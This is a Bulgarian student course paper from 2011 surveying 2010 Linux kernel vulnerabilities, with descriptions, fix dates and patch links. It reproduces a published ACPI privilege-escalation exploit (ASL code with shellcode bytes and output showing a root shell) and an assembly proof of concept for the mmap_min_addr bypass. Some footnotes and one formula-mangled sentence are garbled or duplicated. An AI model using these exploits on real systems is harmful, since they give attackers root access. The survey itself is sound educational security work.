Курсов проект

по

Мрежова сигурност

---

# Анализ на проблемите в сигурността на Linux ядрото в последните 12 месеца

---

*Изготвили:*

Валентина Динкова, ф.н. 71112

< valentinadinkova@yahoo.com >

и

Филип Атанасов, ф.н. 71185

< philip.atanassov@gmail.com >

17 януари 2011 г.

# Съдържание

# Част I
# Описание на проблемите в сигурността на Linux ядрото в последните 12 месеца

## 1 CVE-2010-4347 CVSS Score 6.9

### 1.1 Описание

ACPI подсистемата в Linux ядрата преди 2.6.36.2 използва права за достъп 0222 до файла *custom_method* на debugfs.

```
--w--w--w-. 1 root root 0 2010-11-11 14:56 /sys/kernel/debug/acpi/custom_method
```

Това позволява на обикновен потребител, който има достъп до системата да придобие по-високи права, като сложи свой ACPI метод в таблиците за интерпретиране на ACPI. Но за да стане това е необходимо debugfs да е монтирана някъде в ситемата, така че потребителят да има достъп до файла *custom_method*. По подразбиране debugfs не се монтира. Необходимо е да се изпълни командата

```
mount -t debugfs nodev /sys/kernel/debug
```

като root. Проблемът е оправен на 2010-11-13[1].

### 1.2 Exploit

Публикация за exploit излиза на 2010-12-18. Автор е Jon Oberheide[2].

Той компилира ASL[3] код до AML[4], който презаписва ACPI метода, използван при промяна на статуса на LID устройството (при отваряне и затваряне на капака на лаптоп). Когато методът се извика, той презаписва *OperationRegion* на физическият адрес, където *sys_futimesat* се намира и презаписва паметта чрез *Store*, като по този начин стига до privilege escalation при извикването на *sys_futimesat*.

```
DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
  Method (\_SB.LID._LID, 0, NotSerialized) {
    OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
    Field(KMEM, AnyAcc, NoLock, Preserve) {
      HACK, 0x392
    }
    Store (Buffer () {
      0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
      0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
```

[1] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=ed3aada1bf34c5a9e98af167f125f8a740fc726a

[2] http://www.exploit-db.com/exploits/15774/

[3] ACPI Source Language

[4] ACPI Machine Language

```
      0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
      0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
      0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
      0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
      0xc3 }, HACK)
    Return (One)
  }
}
```

Този exploit се отнася само за 64-битови ОС и зависи от наличието на LID устройство.

```
$ gcc american-sign-language.c -o american-sign-language
$ ./american-sign-language
[+] resolving required symbols...
[+] checking for world-writable custom_method...
[+] checking for an ACPI LID device...
[+] poisoning ACPI tables via custom_method...
[+] triggering ACPI payload via LID device...
[+] triggering exploit via futimesat...
[+] launching root shell!
# id
uid=0(root) gid=0(root) groups=0(root)
```

# 2 CVE-2010-4346 CVSS Score 2.1

## 2.1 Описание

Функцията *install_special_mapping* в *mm/mmap.c* в Linux ядрата преди 2.6.37-rc6 не извиква функцията *security_file_mmap*, което позволява да се заобиколят зададените *mmap_min_addr* ограничения и евентуално да се извърши атака с дереференциране на нулев указател, чрез специално създадена програма на асемблер.

```
$ uname -m
x86_64
$ cat /proc/sys/vm/mmap_min_addr
65536
$ cat install_special_mapping.s
section .bss
    resb BSS_SIZE
section .text
    global _start
    _start:
        mov     eax, __NR_pause
        int     0x80
$ nasm -D__NR_pause=29 -DBSS_SIZE=0xfffed000 -f elf
       -o install_special_mapping.o install_special_mapping.s
$ ld -m elf_i386 -Ttext=0x10000 -Tbss=0x11000
       -o install_special_mapping install_special_mapping.o
```

```
$ ./install_special_mapping &
[1] 14303
$ cat /proc/14303/maps
0000f000-00010000 r-xp 00000000 00:00 0       [vdso]
00010000-00011000 r-xp 00001000 00:19 2453665 /home/taviso/install_special_mapping
00011000-ffffe000 rwxp 00000000 00:00 0       [stack]
```

Проблемът е оправен на 2010-12-15. [5]

# 3 CVE-2010-3881 CVSS Score 1.9

## 3.1 Описание

arch/x86/kvm/x86.c в Linux ядрата преди 2.3.36.2 не инициализира някои членове на структурите *kvm_ vcpu_ events*, *kvm_ debugregs*, *kvm_ pit_ state2* и *kvm_ clock_ data*, което позволява обикновен потребител евентуално да получи важна информация от стека на паметта на ядрото чрез операции за четене върху /dev/kvm устройството[6].

Проблемът е оправен на 2010-11-01[7].

# 4 CVE-2010-3880 CVSS Score 4.9

## 4.1 Описание

Във файла *net/ipv4/inet_ diag.c* във версиите на ядрото преди 2.6.37-rc2 байткодът на *INET_ DIAG* не се проверява достатъчно добре, което позволява на локален потребител да предизвика *DoS* атака чрез специално създадени инструкции, които съдържат повече от един атрибут. Може да бъде предизвикан безкраен цикъл в ядрото.

- Тип: *DoS*
- Съществува от: преди 2005г.
- Добива публичност: 3.11.2010г. [8]
- Оправен: 4.11.2010г. [9]

[5] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=462e635e5b73ba9a4c03913b77138cd57ce4b050

[6] KVM - Kernel-based Virtual Machine - пълно решение за виртуализация на Linux за x86 хардуер. Съдържа разширение - Intel VT или AMD-V. Състои се от модул към ядрото *kvm.ko* и специфични за процесора разширения *kv-intel.ko* и *kvm-amd.ko*

[7] http://git.kernel.org/?p=virt/kvm/kvm.git;a=commit;h=831d9d02f9522e739825a51a11e3bc5aa531a905

[8] http://www.spinics.net/lists/netdev/msg145899.html

[9] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=22e76c849d505d87c5ecf3d3e6742a65f0ff4860

# 5 CVE-2010-4157 CVSS Score 6.0

## 5.1 Описание

Във *drivers/scsi/gdth.c gdth_ioctl_alloc()* приема аргумент *size* като тип *int*. *copy_from_user()* приема аргумента *size* като тип *unsigned long*. *gen.data_len* and *gen.sense_len* са от тип *unsigned long*. На 64-битова ОС *long* са 64-битови, а *int* са 32-битови. Възможно е да се подаде много голямо число и заделянето ще отреже размера до 32 бита и ще задели малък буфер. След това, когато извикаме *copy_from_user()*, това ще предизвика неправилно писане в паметта, защото е заделена по-малко памет, отколкото се опитваме да запишем.

- Тип: *DoS*
- Съществува от: преди 2005г.
- Добива публичност: 8.10.2010г. [10]
- Оправен: 25.10.2010г. [11]

# 6 CVE-2010-3904 CVSS Score 7.2

## 6.1 Описание

Функцията *rds_page_copy_user* от *net/rds/page.c* в имплементацията на протокола Reliable Datagram Sockets (RDS) в Linux ядрата преди 2.6.36 не валидира правилно адресите, получени от user space, което позволява на обикновен потребител да получи по-високи привилегии, използвайки системните извиквания *sendmsg* и *recvmsg*.

Проблемът е оправен на 2010-10-15[12].

# 7 CVE-2010-3066 CVSS Score 4.9

## 7.1 Описание

Функцията *io_submit_one* от fs/aio.c в Linux ядрата преди 2.6.23 позволява на обикновен потребител да причини DoS (дереференциране на нулев указател) чрез системното извикване *io_submit* с IOCB_FLAG_RESFD флаг.

Проблемът е оправен на 2007-10-08[13].

[10] http://ns3.spinics.net/lists/linux-scsi/msg47361.html

[11] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=f63ae56e4e97fb12053590e41a4fa59e7daa74a4

[12] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=799c10559d60f159ab2232203f222f18fa3c4a5f

[13] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=799c10559d60f159ab2232203f222f18fa3c4a5f

# 8 CVE-2010-2962 CVSS Score 7.2

## 8.1 Описание

*drivers/gpu/drm/i915/i915_gem.c* от Graphics Execution Manager (GEM) при драйвера Intel i915 в Direct Rendering Manager (DRM) подсистемата в Linux ядрата преди 2.6.36 не валидира правилно указателите към блокове памет, което позволява на обикновен потребител да пише в паметта на ядрото. Това от своя страна може да доведе до придобиване на по-високи права, чрез използването на интерфейса *ioctl*, свързан с операциите *pwrite* и *pread*.

- Тип: *privileges escalation*
- Съществува от:
- Добива публичност: 2010-10-03
- Оправен: 2010-09-26 [14]

# 9 CVE-2010-3705 CVSS Score 8.3

## 9.1 Описание

Функцията *sctp_auth_asoc_get_hmac* в *net/sctp/auth.c* в Linux ядрата преди 2.6.36 не валидира правилно масивът *hmac_ids* от SCTP peer, което позволява отдалечени атаки да причинят DoS, чрез поставяне на определена стойност за последен елемент на масива.

- Тип: *DoS*
- Съществува от:
- Добива публичност: 2010-10-01[15]
- Оправен: 2010-10-01 [16]

# 10 CVE-2010-2963 CVSS Score 6.2

## 10.1 Описание

*drivers/media/video/v4l2-compat-ioctl32.c* в Video4Linux (V4L) имплементацията в Linux ядрата преди 2.6.36, при 64-битовите платформи не проверява мястото, където се копира паметта, което позволява на обикновен потребител да пише в пространството на паметта на ядрото. Това може да доведе до придобиване на по-високи права, чрез извикването на VIDIOCSTUNER ioctl върху */dev/video* устройството, последвано от VIDIOCSMICROCODE ioctl извикване.

- Тип: *privileges escalation*

[14] `http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=ce9d419dbecc292cc3e06e8b1d6d123d3fa813a4`

[15] `http://marc.info/?l=linux-kernel&m=128596992418814&w=2`

[16] `http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commit;h=51e97a12bef19b7e43199fc153cf9bd5f2140362`

- Съществува от:
- Добива публичност: 2010-10-15
- Оправен: 2010-10-15 [17]

# 11 CVE-2010-3698 CVSS Score 4.6

## 11.1 Описание

KVM имплементацията в Linux ядрата преди 2.6.36 не презарежда правилно сегментните регистри FS и GS, което позоволява на потребителите на приемната (host) ОС да предизвикат DoS (забиване на приемната ОС), чрез KVM_RUN ioctl извикване, заедно с промяна на Local Descriptor Table (LDT).

- Тип: *DoS*
- Съществува от:
- Добива публичност: 2010-10-19
- Оправен: 2010-10-19 [18]

# 12 CVE-2010-4249 CVSS Score 4.9

## 12.1 Описание

Функцията *wait_for_unix_gc* в *net/unix/garbage.c* в Linux ядрата преди 2.6.37-rc3-след-20101125 неправилно избират времето за garbage collection на inflight сокети, което позволява обикновен потребител да причини denial of service (зависване на системата), чрез използването на системните извиквания *socketpair* и *sendmsg* за сокети SOCK_SEQPACKET.

- Тип: *DoS*
- Съществува от:
- Добива публичност: 2010-09-23[19]
- Оправен: 2010-09-24 [20]

## 12.2 Exploit

Exploit излиза на 2010-09-25[21]. Автор е Key Night.

[17] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=3e645d6b485446c54c6745c5e2cf5c528fe4deec

[18] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=9581d442b9058d3699b4be568b6e5eae38a41493

[19] https://lkml.org/lkml/2010/11/23/395

[20] http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commit;h=9915672d41273f5b77f1b3c29b391ffb7732b84b

[21] http://www.exploit-db.com/exploits/15622/

# 13 CVE-2010-3858 CVSS Score 4.9

## 13.1 Описание

Функцията *setup_ arg_ pages* в *fs/exec.c* в Linux ядрата преди 2.6.36, при използване на CONFIG_STACK_GROWSDOWN не ограничава правилно консумацията на паметта на стека на (1) аргументите и (2) средата за 32-битови приложения върху 64-битова платформа, което позволява обикновен потребител да причини DoS (забиване на системата), чрез exec системно извикване.

- Тип: *DoS*
- Съществува от:
- Добива публичност: 2010-09-08
- Оправен: 2010-09-10 [22]

## 13.2 Exploit

Exploit излиза на 2010-11-26[23]. Автор е Roland McGrath.

# 14 CVE-2010-4248 CVSS Score 4.7

## 14.1 Описание

В *__exit_ signal* функцията в kernel/exit.c в Linux ядрата преди 2.6.37-rc2 съществува условие на състезание, което позволява обикновен потребител да причини DoS, чрез вектори, свързани с *multithreaded exec*, употребата на лидер на група от нишки в *kernel/posix-cpu-timers.c* и избора на нов лидер на група от нишки във функцията *de_ thread* в *fs/exec.c*.

- Тип: *DoS*
- Съществува от:
- Добива публичност: 2010-11-05
- Оправен: 2010-11-05 [24]

# 15 CVE-2010-3432 CVSS Score 7.8

## 15.1 Описание

Функцията *sctp_ packet_ config* в net/sctp/output.c в ядрата преди 2.6.35.6 инициализира по грешен начин структурите от данни, представляващи пакети. Това позволява отдалечена атака, предизвикваща DoS чрез определена последователност от SCTP трафик.

[22] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=1b528181b2ffa14721fb28ad1bd539fe1732c583

[23] http://www.exploit-db.com/exploits/15619/

[24] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=e0a70217107e6f9844628120412cb27bb4cea194

*sctp_outq_flush()* в *net/sctp/outqueue.c* може да извика *sctp_packet_reset* върху структура, представяща пакет, която вече е запълнена с парчета данни. *sctp_packet_reset()* няма да се погрижи парчетата данни и ще промени само дължината. Дължината ще е грешна и това ще предизвика "*panic*" в ядрото, когато се извика функцията *skb_put* с прекалено малко заделена памет, както се вижда и от коментарът над тази функция:

```
/**
 * skb_push - add data to the start of a buffer
 * @skb: buffer to use
 * @len: amount of data to add
 *
 * This function extends the used data area of the buffer at the buffer
 * start. If this would exceed the total buffer headroom the kernel will
 * panic. A pointer to the first byte of the extra data is returned.
 */
```

- Тип: *DoS*
- Съществува от: преди 2005г.
- Добива публичност: 2010-09-14[25]
- Оправен: 2010-09-17[26]

# 16 CVE-2010-4165 CVSS Score 4.9

Функцията *do_tcp_setsockopt* в *net/ipv4/tcp.c* в ядра с версии преди 2.6.37-rc2 не ограничава правилно *TCP_MAXSEG* стойностите, което позволява на локален потребител да предизвика DoS (OOPS[27]) чрез извикване на *setsockopt* с твърде малка стойност за *TCP_MAXSEG*, което води до деление на нула или неправилно използване на целочислена променлива без знак.

- Тип: *DoS*
- Съществува от: 2008-09-21[28]
- Добива публичност: 2010-11-10[29]
- Оправен: 2010-11-11[30]

[25] http://marc.info/?l=linux-kernel&m=128448383501073&w=3

[26] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=4bdab43323b459900578b200a4b8cf9713ac8fab

[27] Грешка при изпълнението на код в ядрото, която не завършва със забиване на системата, за разлика от "panic". Ядрото убива виновния процес и извежда съобщение за грешка.

[28] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=f5fff5dc8a7a3f395b0525c02ba92c95d42b7390

[29] http://www.spinics.net/lists/netdev/msg146405.html

[30] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=7a1abd08d52fdeddb3e9a5a33f2f15cc6a5674d2

# 17 CVE-2010-4169 CVSS Score 4.9

Използване на памет след освобождаване в *mm/mprotect.c* в ядра преди версия 2.6.37-rc2 позволява на локален потребител да предизвика DoS атака чрез вектори, използвайки *mprotect* системното извикване.

- Тип: *DoS*
- Съществува от: 2009-06-08[31]
- Добива публичност: 2010-11-09[32]
- Оправен: 2010-11-09[33]

# 18 CVE-2010-2938 CVSS Score 4.9

## 18.1 Описание

*arch/x86/hvm/vmx/vmcs.c* в virtual-machine control structure (VMCS) имплементацията в Linux ядрата преди 2.6.18 на Red Hat Enterprise Linux (RHEL) 5 при Intel платформата без функционалността за Extended Page Tables (EPT), достъпва VMCS полета, без да прави проверка за хадруерна поддръжка за тези полета. Това позволява на обикновен потребител да причини DoS (забиване на ОС) като поиска VMCS dump за напълно виртуализиран Xen guest.

- Тип: *DoS*
- Съществува от:
- Добива публичност: 2010-08-02
- Оправен: 2010-09-29

# 19 CVE-2010-3437 CVSS Score 6.6

## 19.1 Описание

Грешка при указването на целочислен тип със знак във функцията *pkt_find_dev_from_minor* в *drivers/block/pktcdvd.c* в Linux ядрата преди 2.6.36-rc6 позволява на обикновен потребител да получи важна информация от паметта на ядрото или да причини DoS (невалидно дереференциране на указател и забиване на системата) чрез поставяне на стойност на индекс в PKT_CTRL_CMD_STATUS ioctl извикване.

- Тип: *DoS*

[31] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=dab5855

[32] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=63bfd7384b119409685a17d5c58f0b56e5dc03dahttp://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=63bfd7384b119409685a17d5c58f0b56e5dc03da

[33] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=63bfd7384b119409685a17d5c58f0b56e5dc03dahttp://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=63bfd7384b119409685a17d5c58f0b56e5dc03da

- Съществува от:
- Добива публичност: 2010-09-27
- Оправен: 2010-09-27[34]

### 19.2 Exploit

Exploit излиза на 2010-09-29[35]. Автор е Jon Oberheide.

## 20 CVE-2010-3442 CVSS Score 4.7

### 20.1 Описание

Няколко препълвания на целочислени променливи във функцията *snd_ ctl_ new* в sound/core/control.c в Linux ядрата преди 2.6.36-rc5-след-20100929 позволяват на обикновен потребител да причини DoS (предизвикване на грешки в динамичната памет).

- Тип: *DoS*
- Съществува от:
- Добива публичност: 2010-09-29
- Оправен: 2010-09-29[36]

## 21 CVE-2010-2653 CVSS Score 6.9

### 21.1 Описание

В *hvc_ close* функцията в *drivers/char/hvc_ console.c* в Linux ядрата преди 2.6.34 съществува условие на състезание, което позволява обикновен потребител да причини DoS или да причини други неизвестни щети, свързани с *hvc_ open* и *hvc_ remove* функциите, като затвори Hypervisor Virtual Console устройството.

- Тип: *DoS*
- Съществува от:
- Добива публичност: 2010-02-26
- Оправен: 2010-04-08[37]

[34] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=252a52aa4fa22a668f019e55b3aac3ff71ec1c29

[35] http://www.exploit-db.com/exploits/15150/

[36] http://git.kernel.org/?p=linux/kernel/git/tiwai/sound-2.6.git;a=commit;h=5591bf07225523600450edd9e6ad258bb877b779

[37] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=320718ee074acce5ffced6506cb51af1388942aa

# 22 CVE-2010-3081 CVSS Score 7.2

## 22.1 Описание

В 32-битовия слой на съвместимост при 64-битовите ядра преди 2.6.36-rc4-git2 възниква препълване на целочислен тип при умножение в метода *access_ok*, който се използва, за да проверява дали дадена памет е в безопасните граници на пространството на потребителя. Benjamin Hawkes успява да накара стек указателя на потребителя да започне да сочи към пространството на ядрото. Проблемът започва при процедура за заделяне на памет, използвана от слоя за съвместимост от *arch/x86/include/asm/compat.h*

```
static inline void __user *compat_alloc_user_space(long len)
{
        struct pt_regs *regs = task_pt_regs(current);
        return (void __user *)regs->sp - len;
}
```

Както се вижа никъде няма проверка за underflow на стек указателя на потребителското пространство. Ако слоят за съвместимост използва върнатият указател, без да проверява дали сочи към потребителското пространство, може да се появи грешка в паметта на ядрото.

Benjamin Hawkes открива два случая, в които това може да стане: първият - video4linux iocte, вторият - в слоя IP multicast desktop compat. Вторият вариант има много благо приятни свойства за explit.

От *compat_mc_getsockopt* в *net/compat.c*:

```
kgf = compat_alloc_user_space(klen+sizeof(*optlen));

if (!access_ok(VERIFY_READ, gf32, __COMPAT_GF0_SIZE) ||
      __get_user(interface, &gf32->gf_interface) ||
      __get_user(fmode, &gf32->gf_fmode) ||
      __get_user(numsrc, &gf32->gf_numsrc) ||
      __put_user(interface, &kgf->gf_interface) ||
      __put_user(fmode, &kgf->gf_fmode) ||
      __put_user(numsrc, &kgf->gf_numsrc) ||
      copy_in_user(&kgf->gf_group,&gf32->gf_group,sizeof(kgf->gf_group)))
          return -EFAULT;
```

*klen* е неотрицателно 32-битово число, подадено от потребителското пространство, което означава, че *kgf* указателя може да бъде "превъртян" , така че да сочи някъде високо в адресното пространство на ядрото. Указателят *gf32* е валиден адрес в потребителското адресно пространаство и съдържанието на структурата е контролирано. Тъй като се използва "nocheck"версията на *put_user* и не се извършват повече *access_ok* проверки, фактът, че *kgf* сочи в адресното пространство на ядрото няма значение - контролираните стойности ще бъдат записани в структурата, сочена от *kgf*.

- Тип: *privileges escalation*

- Съществува от:
- Добива публичност: 2010-09-07
- Оправен: 2010-09-14[38]

### 22.2 Exploit

Описаното по-горе позволява на атакуващия да запише каквато иска стойност в първите 31 бита от адресното пространство на ядрото. В практиката това е напълно достатъчно за exploit. (2010-09-19)

## 23 CVE-2010-3301 CVSS Score 7.2

### 23.1 Описание

Емулацията на функционалността на системното извикване IA32 в *arch/x86/ia32/ia32entry.S* в Linux ядрата преди 2.6.36-rc4-git2 на x86_64 платформи не допълва с нула регистъра EAX, след като е използван 32-битовия път на изпълнение на *ptrace* системното извикване. Това би могло да позволи на обикновен потребител да придобие по-високи права, като предизвика достъп извън границите на таблицата със ситемни извиквания, използвайки RAX регистъра. Този проблем е бил отстраняван вече веднъж през 2007 година. Тогава за него е имало и exploit. Проблемът отново се появява, тъй като през 2008 година е имало регресия, която премахва EAX презареждането от LOAD_ARGS32.[39]

- Тип: *privileges escalation*
- Съществува от:
- Добива публичност: 2010-09-14
- Оправен: 2010-09-14[40]

## 24 CVE-2010-2240 CVSS Score 7.2

### 24.1 Описание

Функцията *do_anonymous_page* в *mm/memory.c* в Linux ядрата преди 2.6.27.52, 2.6.32.x преди 2.6.32.19, 2.6.34.x преди 2.6.34.4, и 2.6.35.x преди 2.6.35.2 не разделя подходящо статичната от динамичната памет, което позволява на атакуващия да изпълнят код, като го постави в края на последната страница на сегмента със споделената памет.

- Тип: *privileges escalation*
- Съществува от:

[38] `http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=c41d68a513c71e35a14f66d71782d27a79a81ea6`

[39] `http://sota.gen.nz/compat2/`

[40] `http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=eefdca043e8391dcd719711716492063030b55ac`

- Добива публичност: 2010-08-13
- Оправен: 2010-08-13[41]

# 25 CVE-2010-2248 CVSS Score 7.8

## 25.1 Описание

fs/cifs/cifssmb.c в CIFS имплементацията в Linux ядрата преди 2.6.34-rc4 позволява отдалечена атака да причини DoS (kernel panic) чрез изпращане на SMB пакет с невалидна CountHigh стойност, както е демонстрирано при OS/2 server. Сървърът записва в $pSMBr->CountHigh$ невалидна стойност, дори в случай на нормални операции за записване. Това води до грешно изчисление на "nbyte"и предизвиква бъг в ядрото в *mm/filemap.c*.

- Тип: *DoS*
- Съществува от:
- Добива публичност: 2010-03-31
- Оправен: 2010-04-03[42]

# 26 CVE-2010-2521 CVSS Score 10

## 26.1 Описание

Multiple buffer overflows in fs/nfsd/nfs4xdr.c in the XDR implementation in the NFS server in the Linux kernel before 2.6.34-rc6 allow remote attackers to cause a denial of service (panic) or possibly execute arbitrary code via a crafted NFSv4 compound WRITE request, related to the $\mathrm{read}_b uf and nfsd4_d ecode_c ompoundf unctions$.

# Част II
# Статистически анализ

[41] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=320b2b8de12698082609ebbc1a17165727f4c893

[42] http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=6513a81e9325d712f1bfb9a1d7b750134e49ff18